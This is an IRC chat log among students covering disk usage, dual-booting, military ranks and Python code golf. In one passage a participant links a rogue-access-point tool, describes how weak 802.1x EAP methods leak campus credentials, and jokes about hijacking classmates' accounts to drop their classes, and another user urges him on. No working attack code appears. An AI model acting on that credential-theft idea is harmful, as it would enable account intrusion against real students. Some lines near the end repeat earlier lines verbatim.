[2015-03-06T00:41:31-0500] <grantwu> But then it says my hard drive usage is 120 GB
[2015-03-06T00:41:37-0500] <ubuntor> hidden files?
[2015-03-06T00:41:44-0500] <jwoglom> grantwu: try using something like windirstat
[2015-03-06T00:41:49-0500] <jwoglom> see where the space is being used up
[2015-03-06T00:42:21-0500] <ubuntor> http://windows.microsoft.com/en-us/windows/show-hidden-files
[2015-03-06T00:42:29-0500] <grantwu> I showed hidden files
[2015-03-06T00:43:53-0500] <+awe> grantwu: it's the data gremlins.
[2015-03-06T00:43:59-0500] <grantwu> wat.
[2015-03-06T00:44:33-0500] <+awe> They're little bit-fairies that invade your computer and mark random bits as being occupied space with your OS.
[2015-03-06T00:44:50-0500] <grantwu> pls.
[2015-03-06T00:45:06-0500] <ubuntor> oh hey, there's this: https://askleo.com/why_does_the_space_used_by_files_on_my_hard_drive_show_different_numbers_depending_on_how_i_look/
[2015-03-06T00:47:58-0500] <grantwu> windirstat reports 73.7 GB
[2015-03-06T00:48:22-0500] <grantwu> I'm still missing ~30 GB
[2015-03-06T00:48:39-0500] <+awe> It's the data gremlins!
[2015-03-06T00:49:10-0500] <grantwu> Is NTFS really such a shitty file system that the overhead is 30 B
[2015-03-06T00:49:14-0500] <grantwu> *30 GB
[2015-03-06T00:49:59-0500] <micrictor> windows bootloader mebbe?
[2015-03-06T00:50:17-0500] <micrictor> plus winders has a lot of hidden files you can't see in windows at all
[2015-03-06T00:51:09-0500] <grantwu> ._. everything should be a file
[2015-03-06T00:51:50-0500] <grantwu> *nix philosophy wooo rahhh
[2015-03-06T00:58:40-0500] <+awe> grantwu: TCP streams are really just files.
[2015-03-06T00:59:25-0500] <grantwu> lol
[2015-03-06T00:59:46-0500] <+awe> seriously tho
[2015-03-06T01:01:15-0500] <grantwu> yah yah
[2015-03-06T01:01:43-0500] <micrictor> what are udp comms then
[2015-03-06T01:01:48-0500] <+awe> also files
[2015-03-06T01:01:55-0500] <+awe> on unix, everything is a file
[2015-03-06T01:02:26-0500] <grantwu> Eh, everything as a file is a useful abstraction as long as you're truly using it as an abstraction
[2015-03-06T01:02:34-0500] <micrictor> the analogy makes better sense for tcp doe
[2015-03-06T01:03:01-0500] <+awe> grantwu: it's super convenient
[2015-03-06T01:03:15-0500] <grantwu> awe: I didn't say it wasn't
[2015-03-06T01:03:41-0500] <+awe> Like in Hamelin, I get a stream to a process's stdout but I need to read from it async
[2015-03-06T01:03:44-0500] <+awe> So, I get the file descriptor
[2015-03-06T01:03:54-0500] <+awe> I set nonblocking on it
[2015-03-06T01:04:03-0500] <+awe> and then toss it into a non-blocking stream.
[2015-03-06T01:04:47-0500] <LittleBobbyTables> fuck i just raelized
[2015-03-06T01:04:47-0500] <LittleBobbyTables> that
[2015-03-06T01:04:50-0500] <LittleBobbyTables> I have an online class
[2015-03-06T01:04:52-0500] <LittleBobbyTables> I haven't done work in
[2015-03-06T01:04:57-0500] <+awe> lol LittleBobbyTables
[2015-03-06T01:05:02-0500] <LittleBobbyTables> and class ends
[2015-03-06T01:05:05-0500] <LittleBobbyTables> in a week
[2015-03-06T01:05:06-0500] <LittleBobbyTables> and a half
[2015-03-06T01:05:16-0500] <nezorg> ...
[2015-03-06T01:05:27-0500] <+awe> lbt pls
[2015-03-06T01:05:47-0500] <LittleBobbyTables> well shiet
[2015-03-06T01:06:58-0500] <grantwu> ...
[2015-03-06T01:07:48-0500] <LittleBobbyTables> I wonder if I can still drop it.
[2015-03-06T01:07:51-0500] <LittleBobbyTables> I'll find it tomorrow, I guess.
[2015-03-06T01:08:42-0500] <+awe> Today is the last day for withdrawing with a W on your transcript.
[2015-03-06T01:09:01-0500] <LittleBobbyTables> Depending on where you go.
[2015-03-06T01:09:04-0500] <+awe> I meant here.
[2015-03-06T01:09:05-0500] <+awe> Lol.
[2015-03-06T01:09:08-0500] <LittleBobbyTables> :P
[2015-03-06T01:09:15-0500] <LittleBobbyTables> I'm fine with a W
[2015-03-06T01:09:20-0500] <LittleBobbyTables> since it doesn't actually drop my grade
[2015-03-06T01:09:25-0500] <LittleBobbyTables> I'm fine with paying the money if needed.
[2015-03-06T01:09:42-0500] <LittleBobbyTables> If anything, I'll just say I forgot about that class and hopefully my mom won't get too pissed.
[2015-03-06T01:10:39-0500] <+awe> I don't have time to get any Ws. :p
[2015-03-06T01:10:50-0500] <+awe> That three-year graduation.
[2015-03-06T01:11:07-0500] <LittleBobbyTables> The really important thing is that my mom doesn't check grades.
[2015-03-06T01:11:12-0500] <LittleBobbyTables> Which she probably will
[2015-03-06T01:11:16-0500] <LittleBobbyTables> Which means I have to hide them.
[2015-03-06T01:11:22-0500] <LittleBobbyTables> Good thing it's all in the browser.
[2015-03-06T01:12:07-0500] <+awe> https://github.com/OpenSecurityResearch/hostapd-wpe
[2015-03-06T01:12:08-0500] <+awe> Hmm.
[2015-03-06T01:12:13-0500] <+awe> I could use this to do some dirty things.
[2015-03-06T01:14:02-0500] <+awe> I could hijack people's credentials which are the same as their UMass accounts, and then log onto their accounts and drop classes and wreak havoc. 
[2015-03-06T01:14:41-0500] <LittleBobbyTables> Do it or pussy
[2015-03-06T01:14:51-0500] <grantwu> Out of curiosity is there a fix for whatever vuln that exploits
[2015-03-06T01:15:24-0500] <+awe> I don't think so.
[2015-03-06T01:15:30-0500] <+awe> I think it's a fundamental flaw in 802.1x.
[2015-03-06T01:16:16-0500] <+awe> Well, a fundamental flaw in certain 802.1x protocols.
[2015-03-06T01:16:22-0500] <+awe> " Certain EAP types do not require the server to authenticate itself, just to validate
[2015-03-06T01:16:22-0500] <+awe>     the client's submitted credentials. "
[2015-03-06T01:16:53-0500] <+awe> EAP-TTLS, PEAP, and EAP-FAST are all broken. :)
[2015-03-06T01:16:59-0500] <+awe> EAP-TTLS is probably the one your school uses.
[2015-03-06T01:17:22-0500] <jwoglom> awe: huh, interesting
[2015-03-06T01:17:43-0500] <jwoglom> we use a certificate-based 802.11 network setup now
[2015-03-06T01:18:54-0500] <grantwu> I can't tell what my school uses...
[2015-03-06T01:19:00-0500] <+awe> grantwu: eduroam?
[2015-03-06T01:19:08-0500] <+awe> I think CMU is an eduroam school.
[2015-03-06T01:19:12-0500] <grantwu> Uh... we are eduroam enabled yes
[2015-03-06T01:19:17-0500] <+awe> EAP-TTLS/PAP.
[2015-03-06T01:19:18-0500] <grantwu> But we have another network?
[2015-03-06T01:19:26-0500] <+awe> Pretty lulzy is the second part of those protocol is the password protocol.
[2015-03-06T01:19:33-0500] <+awe> Anyone want to take a guess at what PAP is?
[2015-03-06T01:19:44-0500] <jwoglom> eduroam, cool--maybe some day we'll support that :P
[2015-03-06T01:19:50-0500] <+awe> pls no google
[2015-03-06T01:19:55-0500] <+awe> just guesses
[2015-03-06T01:19:57-0500] <micrictor> goddamn it
[2015-03-06T01:20:17-0500] <micrictor> the Marines have ruined me
[2015-03-06T01:20:22-0500] <+awe> micrictor: ?
[2015-03-06T01:20:26-0500] <+awe> You're a Marine?
[2015-03-06T01:20:28-0500] <micrictor> when I see EAP all I see is emergency action plan
[2015-03-06T01:20:34-0500] <micrictor> I'm enlisted into it
[2015-03-06T01:20:36-0500] <micrictor> so
[2015-03-06T01:20:37-0500] <micrictor> no
[2015-03-06T01:20:38-0500] <micrictor> but
[2015-03-06T01:20:40-0500] <micrictor> will be
[2015-03-06T01:20:45-0500] <+awe> Nah, EAP is extensible authentication protocol.
[2015-03-06T01:20:46-0500] <+awe> Oh, okay.
[2015-03-06T01:20:50-0500] <+awe> My sister's in the Marine Corp.
[2015-03-06T01:20:56-0500] <jwoglom> cool -- what made you decide to do that?
[2015-03-06T01:20:59-0500] <+awe> in NoVa, actually. ;)
[2015-03-06T01:21:28-0500] <+awe> Anyway, to those who are curious, PAP is plaintext password.
[2015-03-06T01:21:35-0500] <jwoglom> nice.
[2015-03-06T01:21:46-0500] <micrictor> Fucking hate school
[2015-03-06T01:21:46-0500] <+awe> And it's the most common password authentication protocol for EAP.
[2015-03-06T01:21:47-0500] <micrictor> NoVa?
[2015-03-06T01:21:50-0500] <+awe> Northern Virginia
[2015-03-06T01:21:58-0500] <+awe> where woggles and Tamini et al live.
[2015-03-06T01:22:10-0500] <jwoglom> the nova area is cool
[2015-03-06T01:22:13-0500] <Tamini> eyoo
[2015-03-06T01:22:13-0500] <jwoglom> just horrible traffic
[2015-03-06T01:22:19-0500] <+awe> Such bad traffic.
[2015-03-06T01:22:27-0500] <micrictor> Quantico, I assume
[2015-03-06T01:22:30-0500] <micrictor> what does she do?
[2015-03-06T01:22:57-0500] <+awe> Yeah, Quantico.
[2015-03-06T01:23:05-0500] <+awe> She's an MP.
[2015-03-06T01:23:13-0500] <+awe> HMX-1 specifically.
[2015-03-06T01:24:06-0500] <micrictor> Marine One?
[2015-03-06T01:24:10-0500] <micrictor> Pretty baller
[2015-03-06T01:24:38-0500] <+awe> She's pretty buns though.
[2015-03-06T01:24:44-0500] <+awe> She doesn't really care about getting promoted.
[2015-03-06T01:25:05-0500] <grantwu> What is an MP?
[2015-03-06T01:25:06-0500] <micrictor> Probably a LCpl then
[2015-03-06T01:25:10-0500] <micrictor> Military police
[2015-03-06T01:25:38-0500] <micrictor> She's doing security for VIPs, or at the very least securing the personnell and hardware that they use
[2015-03-06T01:25:53-0500] <jwoglom> that's interesting sounding
[2015-03-06T01:25:55-0500] <+awe> She just got E-4 the other day.
[2015-03-06T01:26:16-0500] <+awe> And she's been in a while.
[2015-03-06T01:26:29-0500] <micrictor> how many terms?
[2015-03-06T01:27:26-0500] <+awe> She's been in for like three years?
[2015-03-06T01:27:28-0500] <+awe> I think.
[2015-03-06T01:27:55-0500] <micrictor> First pump NCO is nothing too shabby
[2015-03-06T01:28:25-0500] <micrictor> I can't recall the cutting scores for MP, but in most jobs getting Cpl is not simple
[2015-03-06T01:28:59-0500] <+awe> It's kind of weird to me that she got promoted anyway
[2015-03-06T01:29:11-0500] <+awe> She just had a kid and is trying to leave.
[2015-03-06T01:29:27-0500] <micrictor> Promotions are formulaic until you're going for ssgt
[2015-03-06T01:29:35-0500] <micrictor> hit a certain score, you get promoted
[2015-03-06T01:30:08-0500] <+awe> Yeah, her husband is a ssgt.
[2015-03-06T01:30:44-0500] <grantwu> ITT: All the abbreviations!
[2015-03-06T01:30:59-0500] <+awe> Do you need clarification on them?
[2015-03-06T01:31:02-0500] <micrictor> welcome to the military
[2015-03-06T01:31:05-0500] <Tamini> (yes please)
[2015-03-06T01:31:06-0500] <+awe> NCO is non-commissioned officer
[2015-03-06T01:31:10-0500] <+awe> Cpl is corporal 
[2015-03-06T01:31:20-0500] <+awe> Lcpl is lieutenant corporal 
[2015-03-06T01:31:28-0500] <micrictor> ( lance corporal)
[2015-03-06T01:31:30-0500] <+awe> erm
[2015-03-06T01:31:31-0500] <+awe> yah
[2015-03-06T01:31:32-0500] <+awe> my b.
[2015-03-06T01:31:47-0500] <micrictor> SSgt = Staff Sargeant
[2015-03-06T01:32:15-0500] <+awe> I literally just mentally combined lance corporal and lieutenant colonel.
[2015-03-06T01:32:45-0500] <micrictor> When the recruiter, a SSgt, met with my parents, my mom called him LCpl
[2015-03-06T01:32:50-0500] <micrictor> I got fucked for that
[2015-03-06T01:32:55-0500] <+awe> and uhh, E4 means the 4th enlisted rank.
[2015-03-06T01:32:59-0500] <grantwu> er no I'm fine
[2015-03-06T01:33:00-0500] <+awe> which is Cpl.
[2015-03-06T01:33:06-0500] <grantwu> I've seen some of these before
[2015-03-06T01:33:11-0500] <grantwu> ...I'm actually not sure why to be honest
[2015-03-06T01:33:24-0500] <micrictor> Battlefield
[2015-03-06T01:33:29-0500] <grantwu> I don't play shooters
[2015-03-06T01:33:36-0500] <grantwu> Not because they're bad or anything
[2015-03-06T01:33:39-0500] <Tamini> heh
[2015-03-06T01:33:47-0500] <grantwu> I just 1. suck at them. 2. don't have a powerful computer. 3. don't have free time
[2015-03-06T01:33:56-0500] <Tamini> grantwu: true that to all those points
[2015-03-06T01:34:28-0500] <jwoglom> Lol yeah most people dont know all these abbreviations :P
[2015-03-06T01:34:39-0500] <+awe> micrictor: I should meet my sister's commanding officer and call him something shitty so that he gets mad at her :D
[2015-03-06T01:34:58-0500] <micrictor> It's really easy with officers
[2015-03-06T01:35:15-0500] <micrictor> just refer to them by only their rank
[2015-03-06T01:35:28-0500] <micrictor> and be constantly shifting your body
[2015-03-06T01:35:50-0500] <+awe> Majors get pissed off at being called Major?
[2015-03-06T01:36:01-0500] <micrictor> mhmm
[2015-03-06T01:36:13-0500] <micrictor> C&C is that officers get rank and last name
[2015-03-06T01:37:36-0500] <+awe> I don't get stuff like that.
[2015-03-06T01:38:31-0500] <micrictor> as in, why its done
[2015-03-06T01:38:32-0500] <+awe> The touchiness is real.
[2015-03-06T01:38:41-0500] <+awe> I understand somewhat why it's done.
[2015-03-06T01:38:56-0500] <+awe> I just feel like they're all super touchy though.
[2015-03-06T01:39:11-0500] <micrictor> eh, not really
[2015-03-06T01:39:31-0500] <+awe> It's supposed to be a maintaining authority thing, right?
[2015-03-06T01:39:40-0500] <micrictor> And respect
[2015-03-06T01:39:44-0500] <micrictor> The name and rank thing
[2015-03-06T01:39:48-0500] <+awe> Having specific standards for respect and authority means that people are always acutely aware of it.
[2015-03-06T01:39:57-0500] <micrictor> is only when referring to someone or trying to get their attention
[2015-03-06T01:40:36-0500] <+awe> I'd be so not suited for the military though.
[2015-03-06T01:40:46-0500] <+awe> I hate authority.
[2015-03-06T01:41:10-0500] <micrictor> fair enough
[2015-03-06T01:45:15-0500] <micrictor> but yeah
[2015-03-06T01:45:20-0500] <micrictor> cool kids don't go to college
[2015-03-06T01:46:06-0500] <+awe> I'm not cool?
[2015-03-06T01:46:06-0500] <+awe> :(
[2015-03-06T01:47:33-0500] <jwoglom> You can be cool in multiple ways :P
[2015-03-06T01:48:24-0500] <+awe> But I go to Uni.
[2015-03-06T01:48:27-0500] <Tamini> awe is p cool
[2015-03-06T01:48:29-0500] <+awe> His rule said that cool kids don't!
[2015-03-06T01:49:47-0500] <grantwu> If I define a macro in a C header file
[2015-03-06T01:50:02-0500] <grantwu> Will it be usable in the corresponding .c file
[2015-03-06T01:50:08-0500] <grantwu> or should I include the header
[2015-03-06T01:50:19-0500] <+awe> Gotta include the header.
[2015-03-06T01:50:19-0500] <micrictor> uh
[2015-03-06T01:50:30-0500] <micrictor> you'll have to include the header for anything in the header to be used
[2015-03-06T01:50:43-0500] <grantwu> ok.
[2015-03-06T02:06:21-0500] <grantwu> Does anyone dual boot on a Windows machine?
[2015-03-06T02:06:28-0500] <grantwu> Windows 8.1 machine that is
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[2015-03-06T02:17:01-0500] <ubuntor> grantwu: yeah
[2015-03-06T02:17:40-0500] <ubuntor> uefi issues?
[2015-03-06T02:18:15-0500] <grantwu> I haven't actually tried yet
[2015-03-06T02:18:26-0500] <grantwu> Just wondering what the current status is with UEFI and Fedora...
[2015-03-06T02:18:32-0500] <grantwu> Ideally I'd like to retain secure boot
[2015-03-06T02:25:04-0500] <grantwu> ubuntor: Do you know anything about this
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[2015-03-06T02:25:44-0500] <ubuntor> unfortunately, i have secure boot disabled, because it's a hassle to get dual booting working otherwise :/
[2015-03-06T02:26:04-0500] <ubuntor> there's probably a way tho
[2015-03-06T02:28:28-0500] <grantwu> grumble grumble
[2015-03-06T02:28:42-0500] <grantwu> it says something about supporting this feature
[2015-03-06T02:29:02-0500] <grantwu> https://help.ubuntu.com/community/UEFI#SecureBoot                                   
[2015-03-06T02:35:22-0500] <ubuntor> http://www.zdnet.com/article/more-fun-with-windows-8-uefi-secure-boot-fedora-and-ubuntu/
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[2015-03-06T02:37:16-0500] <ubuntor> https://alumnus.alumni.caltech.edu/munir/2014/08/25/creating-a-dual-boot-windows-8-fedora-20-machine/
[2015-03-06T02:37:33-0500] <ubuntor> looks like it's tricky, but doable
[2015-03-06T02:37:41-0500] <grantwu> dammit
[2015-03-06T02:39:15-0500] <grantwu> thanks that's super useful
[2015-03-06T02:41:46-0500] <ubuntor> np
[2015-03-06T02:44:38-0500] <grantwu> how did you find these anyways
[2015-03-06T02:45:07-0500] <grantwu> i spent like 5 minutes trying variations on fedora, dualboot, secure boot, and uefi
[2015-03-06T02:45:12-0500] <grantwu> in google
[2015-03-06T02:46:40-0500] <ubuntor> "fedora uefi secure boot dual boot"
[2015-03-06T02:47:09-0500] <grantwu> oh joy everything is failing
[2015-03-06T02:47:17-0500] <grantwu> i don't know why
[2015-03-06T02:47:40-0500] <ubuntor> doesn't sound fun :/
[2015-03-06T03:05:42-0500] <grantwu> the fuck
[2015-03-06T03:05:49-0500] <grantwu> it installed virtualbox on my USB?
[2015-03-06T03:11:06-0500] <ubuntor> wat
[2015-03-06T03:11:55-0500] <grantwu> oh it's some stupid "you can start linux on windows!" option
[2015-03-06T03:18:48-0500] <grantwu> Ugh there's something funky with my IRC logs
[2015-03-06T03:18:50-0500] <grantwu> asdfjaklsd;fasdjf
[2015-03-06T03:19:04-0500] <ubuntor> hm?
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[2015-03-06T03:57:06-0500] <grantwu> For some reason weechat isn't logging my convos
[2015-03-06T03:57:08-0500] <grantwu> idk why
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[2015-03-06T07:40:30-0500] <JacobEdelman_> I have rearrived
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[2015-03-06T10:30:52-0500] <LittleBobbyTables> Rawrcookies12
[2015-03-06T10:31:14-0500] <LittleBobbyTables> O,o wus tht
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[2015-03-06T11:17:14-0500] <adunna> That moment when you fix a recurring bluescreen
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[2015-03-06T11:38:05-0500] <Hyper> JacobEdelman_: I think I just wrote some code that would make you proud
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[2015-03-06T11:38:36-0500] <Hyper> python calculator supporting +, -, *, /, and ** on 2 operands
[2015-03-06T11:38:41-0500] <Hyper> it's exactly 256 characters long
[2015-03-06T11:38:48-0500] <Hyper> and one line
[2015-03-06T11:39:12-0500] <Hyper> https://gist.github.com/anonymous/6bec3024359fa7779d66
[2015-03-06T11:41:56-0500] <+awe> Yup, that looks like something JacobEdelman_ would write alright!
[2015-03-06T11:42:03-0500] <JacobEdelman_> what?
[2015-03-06T11:42:15-0500] <JacobEdelman_> hmmmm
[2015-03-06T11:42:22-0500] <JacobEdelman_> I think theres an operators modules
[2015-03-06T11:42:25-0500] <Hyper> there is
[2015-03-06T11:42:27-0500] <Hyper> but one liners
[2015-03-06T11:42:31-0500] <Hyper> I could __import__
[2015-03-06T11:42:32-0500] <Hyper> but eh
[2015-03-06T11:42:39-0500] <JacobEdelman_> you could also use semicolons
[2015-03-06T11:42:42-0500] <JacobEdelman_> or my favourite
[2015-03-06T11:42:47-0500] <Hyper> I considered semicolons cheating
[2015-03-06T11:42:48-0500] <JacobEdelman_> eval a zip encoded string
[2015-03-06T11:43:18-0500] <Hyper> the TA challeged use to do it as a one liner and I was like "eval(raw_input())" and he was like "yeah that's how I did it and it's obviously super insecure so shut up"
[2015-03-06T11:43:33-0500] <Hyper> so I did it like this
[2015-03-06T11:43:43-0500] <Hyper> zip encoded?
[2015-03-06T11:44:24-0500] <JacobEdelman_> eval("eJxdzk0KwjAUBOCrhG6aF9MfXWahx3BRQkhsS0M1KcmrRcS7m6Iu6m74GIaZgnVIr/pmWk0i9+KX\nUfgGm72UdC1gU0vgn3SQAEBpE8tJB7RovaMj9D6QkVhHfDl2j0ihVCp09y7ErlWKgu1JLHvr2tQ9\n1nLdSytBL8q6aUaanQeNl2Emi3Z4EiQD/sx3ufje0dwIvTM8L7ZUJGJsa4yt+GeJqi1V5gVvmMtQ\nKg==\n".decode("base-64").decode("zip"))
[2015-03-06T11:44:26-0500] <JacobEdelman_> that
[2015-03-06T11:44:40-0500] <+awe> Hyper: whatever code you want goes from multiline to one line.
[2015-03-06T11:44:52-0500] <Hyper> oh
[2015-03-06T11:44:55-0500] <Hyper> that's lame too
[2015-03-06T11:44:59-0500] <+awe> Incredibly.
[2015-03-06T11:45:00-0500] <JacobEdelman_> I used your code
[2015-03-06T11:45:05-0500] <JacobEdelman_> it sometimes makes it shorter
[2015-03-06T11:45:10-0500] <Hyper> sure
[2015-03-06T11:45:12-0500] <Hyper> but it's lame
[2015-03-06T11:45:14-0500] <JacobEdelman_> eh
[2015-03-06T11:45:23-0500] <JacobEdelman_> if you use it on a one liner its fine
[2015-03-06T11:45:40-0500] <Hyper> I feel like seeing the actual one liner is more fun
[2015-03-06T11:45:46-0500] <JacobEdelman_> also, eval with some checking to make sure string only has numbers and operators would do the trick
[2015-03-06T11:45:55-0500] <JacobEdelman_> but yeah
[2015-03-06T11:45:59-0500] <JacobEdelman_> your way is the best way
[2015-03-06T11:46:03-0500] <Hyper> I feel like using eval at all in this would be missing the fun
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[2015-03-06T11:46:32-0500] <+awe> raw_input().filter(...).map(eval)
[2015-03-06T11:46:53-0500] <Hyper> boo
[2015-03-06T11:47:01-0500] <Hyper> also ufcs which isn't in python :(
[2015-03-06T11:47:16-0500] <+awe> lol
[2015-03-06T11:47:26-0500] <+awe> Boo, Python.
[2015-03-06T11:47:36-0500] <Hyper> also being exactly 256 characters is ticking some box in my head that makes me super satisfied
[2015-03-06T11:48:17-0500] <+awe> Hyper: why, it overflows an  unsigned 8-bit integer.
[2015-03-06T11:48:36-0500] <Hyper> maybe the box is the cpu overflow bit
[2015-03-06T11:48:46-0500] <+awe> lol
[2015-03-06T11:48:51-0500] <+awe> Well played.
[2015-03-06T11:49:09-0500] <Hyper> a trap got signalled, but I have a handler that increments happiness
[2015-03-06T11:50:48-0500] <Hyper> also the written part of this homework assignment is like "Here are a bunch of pairs of programming languages which do you like more and why?"
[2015-03-06T11:50:55-0500] <Hyper> I'm gonna write like a huge essay
[2015-03-06T11:51:07-0500] <+awe> What are the pairs?
[2015-03-06T11:51:13-0500] <Hyper> JS vs. Python
[2015-03-06T11:51:19-0500] <Hyper> PHP vs. Ruby
[2015-03-06T11:51:25-0500] <Hyper> C++ vs. Java
[2015-03-06T11:51:31-0500] <Hyper> C++ vs. Python
[2015-03-06T11:51:43-0500] <Hyper> and the very general "Compiled vs. Interpreted"
[2015-03-06T11:51:47-0500] <+awe> lol
[2015-03-06T11:51:48-0500] <+awe> JS
[2015-03-06T11:51:49-0500] <+awe> Ruby
[2015-03-06T11:51:50-0500] <+awe> Java
[2015-03-06T11:51:50-0500] <+awe> C++
[2015-03-06T11:51:52-0500] <+awe> Compiled
[2015-03-06T11:52:38-0500] <Hyper> well the last one is more "compare them"
[2015-03-06T11:52:38-0500] <+awe> I often forget that PHP still exists and that there are still people who write PHP on a daily asis.
[2015-03-06T11:52:41-0500] <+awe> basis*
[2015-03-06T11:52:56-0500] <Hyper> the lecturer just went off on PHP at the end of the lecture
[2015-03-06T11:53:02-0500] <+awe> Interpreted == slow af
[2015-03-06T11:53:04-0500] <Hyper> I know a guy who writes php daily
[2015-03-06T11:53:07-0500] <+awe> There, I did the comparison.
[2015-03-06T11:53:44-0500] <+awe> I'm so sorry for everyone on this earth who still has to touch PHP code.
[2015-03-06T11:53:46-0500] <Hyper> (Laravel actually seems to make php somewhat bearable, if only that)
[2015-03-06T11:54:09-0500] <Hyper> I have to touch PHP code on the next project I'm working on :(
[2015-03-06T11:54:16-0500] <+awe> Why?
[2015-03-06T11:54:23-0500] <Hyper> because annoying reasons
[2015-03-06T11:54:39-0500] <+awe> Also, I'm really not excited for my software engineering course.
[2015-03-06T11:54:49-0500] <Hyper> I'm really not excited for any of my courses.
[2015-03-06T11:54:56-0500] <+awe> I found out that it's based around making group projects in JS.
[2015-03-06T11:55:08-0500] <+awe> Well, in a few languages, but some of them are mandatory JS.
[2015-03-06T11:55:25-0500] <+awe> The last thing I want to do is "group projects" because it's just going to be me carrying a bunch of punks.
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[2015-03-06T11:56:01-0500] <+awe> Hyper: that's uhh... deeply concerning.
[2015-03-06T11:56:20-0500] <Hyper> awe: which thing is?
[2015-03-06T11:56:29-0500] <+awe> That you're not excited for any of the courses you're going to be taking.
[2015-03-06T11:56:33-0500] <Hyper> :/
[2015-03-06T11:56:47-0500] <+awe> I'm really excited for most of my courses.
[2015-03-06T11:56:53-0500] <Hyper> just means lots of time for side projects I guess
[2015-03-06T11:57:08-0500] <Hyper> just need to make sure I give just enough of a fuck to do the homeworks and I'm good
[2015-03-06T11:57:15-0500] <+awe> .-.
[2015-03-06T11:57:39-0500] <+awe> Do you guys not have electives or something?
[2015-03-06T11:57:59-0500] <Hyper> oh we do
[2015-03-06T11:58:02-0500] <Hyper> those look ok
[2015-03-06T11:58:06-0500] <Hyper> some do
[2015-03-06T11:58:22-0500] <+awe> I'm incredibly excited for all of my higher-levels.
[2015-03-06T11:58:31-0500] <Hyper> I just mean for like the next term there isn't much I can take without getting dept. approval
[2015-03-06T11:58:38-0500] <Hyper> though I should be able to swing that
[2015-03-06T11:58:52-0500] <Hyper> http://www.gfycat.com/WildClearcutCaribou hyes/hyes
[2015-03-06T11:59:08-0500] <+awe> PLs, compilers, OSs, combinatorics, graph theory
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[2015-03-06T11:59:27-0500] <Hyper> mmm
[2015-03-06T11:59:42-0500] <Hyper> awe: I was talking to a friend yesterday who is a math and physics major
[2015-03-06T11:59:47-0500] <Hyper> and mentioned ANNs
[2015-03-06T11:59:51-0500] <Hyper> and he was like "what's that"
[2015-03-06T12:00:17-0500] <+awe> Ok?
[2015-03-06T12:00:24-0500] <Hyper> and I was like "Um... do you know graph theory?" "a bit" "ok it's a directed acyclic graph"
[2015-03-06T12:00:30-0500] <+awe> lol
[2015-03-06T12:00:34-0500] <Hyper> (I was talking about feedforward specifically"
[2015-03-06T12:00:35-0500] <Hyper> )
[2015-03-06T12:00:36-0500] <+awe> Oh, I'm also doing formal language theory.
[2015-03-06T12:00:43-0500] <Hyper> and he was like "I know some of those words"
[2015-03-06T12:00:49-0500] <Hyper> :<
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[2015-03-06T12:01:53-0500] <Hyper> He was asking if it was possible to make a computer evolve code and I was like "yeah pretty much I've done it before with ANNs but it's sorta shitty"
[2015-03-06T12:02:36-0500] <+awe> Man, software engineering is going to be total buns though.
[2015-03-06T12:03:02-0500] <+awe> Programming methodologies might be buns too.
[2015-03-06T12:03:04-0500] <+awe> Depend.
[2015-03-06T12:03:21-0500] <Hyper> I can't wait until I get to one of the design project classes
[2015-03-06T12:03:23-0500] <+awe> I really hope the professor who's teaching it now is teaching it next semester.
[2015-03-06T12:03:32-0500] <+awe> Because at least he already really likes me and knows that I'm smarter than everyone else.
[2015-03-06T12:03:33-0500] <Hyper> because those are basically "MAKE COOL SHIT HAVE FUN" classes
[2015-03-06T12:04:15-0500] <+awe> That's what SE is here.
[2015-03-06T12:04:26-0500] <Hyper> I like that type of class
[2015-03-06T12:04:35-0500] <+awe> But it's supposed to train you for entrepreneurship. 
[2015-03-06T12:04:36-0500] <Hyper> it's like free license to make ridiculous side projects
[2015-03-06T12:04:46-0500] <+awe> And you're forced to work in groups that they pick for you.
[2015-03-06T12:04:50-0500] <Hyper> oh
[2015-03-06T12:04:57-0500] <Hyper> in my high school one we picked groups
[2015-03-06T12:05:15-0500] <+awe> And they enforce which languages you can use, I think.
[2015-03-06T12:05:20-0500] <Hyper> so my group of friends who really love CS got together for a project which was tons of fun
[2015-03-06T12:06:17-0500] <+awe> If not, I'll just make sure to do everything in Haskell and Rust for the lulz.
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[2015-03-06T13:12:21-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-06T11:54:56-0500] <+awe> I found out that it's based around making group projects in JS.
[2015-03-06T11:55:08-0500] <+awe> Well, in a few languages, but some of them are mandatory JS.
[2015-03-06T11:55:25-0500] <+awe> The last thing I want to do is "group projects" because it's just going to be me carrying a bunch of punks.
[2015-03-06T11:56:01-0500] <+awe> Hyper: that's uhh... deeply concerning.
[2015-03-06T11:56:20-0500] <Hyper> awe: which thing is?
[2015-03-06T11:56:29-0500] <+awe> That you're not excited for any of the courses you're going to be taking.
[2015-03-06T11:56:33-0500] <Hyper> :/
[2015-03-06T11:56:47-0500] <+awe> I'm really excited for most of my courses.
[2015-03-06T11:56:53-0500] <Hyper> just means lots of time for side projects I guess
[2015-03-06T11:57:08-0500] <Hyper> just need to make sure I give just enough of a fuck to do the homeworks and I'm good
[2015-03-06T11:57:15-0500] <+awe> .-.
[2015-03-06T11:57:39-0500] <+awe> Do you guys not have electives or something?
[2015-03-06T11:57:59-0500] <Hyper> oh we do
[2015-03-06T11:58:02-0500] <Hyper> those look ok
[2015-03-06T11:58:06-0500] <Hyper> some do
[2015-03-06T11:58:21-0500] <+awe> I'm incredibly excited for all of my higher-levels.
[2015-03-06T11:58:31-0500] <Hyper> I just mean for like the next term there isn't much I can take without getting dept. approval
[2015-03-06T11:58:38-0500] <Hyper> though I should be able to swing that
[2015-03-06T11:58:52-0500] <Hyper> http://www.gfycat.com/WildClearcutCaribou hyes/hyes
[2015-03-06T11:59:08-0500] <+awe> PLs, compilers, OSs, combinatorics, graph theory
[2015-03-06T11:59:27-0500] <Hyper> mmm
[2015-03-06T11:59:42-0500] <Hyper> awe: I was talking to a friend yesterday who is a math and physics major
[2015-03-06T11:59:47-0500] <Hyper> and mentioned ANNs
[2015-03-06T11:59:51-0500] <Hyper> and he was like "what's that"
[2015-03-06T12:00:17-0500] <+awe> Ok?
[2015-03-06T12:00:24-0500] <Hyper> and I was like "Um... do you know graph theory?" "a bit" "ok it's a directed acyclic graph"
[2015-03-06T12:00:30-0500] <+awe> lol
[2015-03-06T12:00:34-0500] <Hyper> (I was talking about feedforward specifically"
[2015-03-06T12:00:35-0500] <Hyper> )
[2015-03-06T12:00:36-0500] <+awe> Oh, I'm also doing formal language theory.
[2015-03-06T12:00:43-0500] <Hyper> and he was like "I know some of those words"
[2015-03-06T12:00:49-0500] <Hyper> :<
[2015-03-06T12:01:52-0500] <Hyper> He was asking if it was possible to make a computer evolve code and I was like "yeah pretty much I've done it before with ANNs but it's sorta shitty"
